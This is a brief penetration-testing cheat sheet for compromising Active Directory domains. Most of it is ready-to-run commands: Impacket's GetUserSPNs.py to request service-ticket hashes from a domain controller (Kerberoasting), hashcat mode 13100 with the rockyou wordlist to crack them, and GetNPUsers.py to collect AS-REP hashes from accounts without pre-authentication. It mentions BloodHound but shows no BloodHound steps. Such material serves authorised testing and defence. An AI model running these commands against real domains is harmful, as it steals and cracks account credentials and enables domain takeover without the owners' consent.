🛡️ Active Directory Pentesting (Kerberoasting & AS-REP Roasting)
Technical penetration testing methodology for Active Directory domain compromise using Impacket tools and BloodHound graph analysis.
1. Kerberoasting with Impacket
# Extract Service Principal Name (SPN) Hashes
python3 GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.192 -request -outputfile spn_hashes.txt
# Offline Hash Cracking via Hashcat (Mode 13100)
hashcat -m 13100 spn_hashes.txt /usr/share/wordlists/rockyou.txt
2. AS-REP Roasting (No Pre-Authentication)
# Query Users with DONT_REQ_PREAUTH Enabled
python3 GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt